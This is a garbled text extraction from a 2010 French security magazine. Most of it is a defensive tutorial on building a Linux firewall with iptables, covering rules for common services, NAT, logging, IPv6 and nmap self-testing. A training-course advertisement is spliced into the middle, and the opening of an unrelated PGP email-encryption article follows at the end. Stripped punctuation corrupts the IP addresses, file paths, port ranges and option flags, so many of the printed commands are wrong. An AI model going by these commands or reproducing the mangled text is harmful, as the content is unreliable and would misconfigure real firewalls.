bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

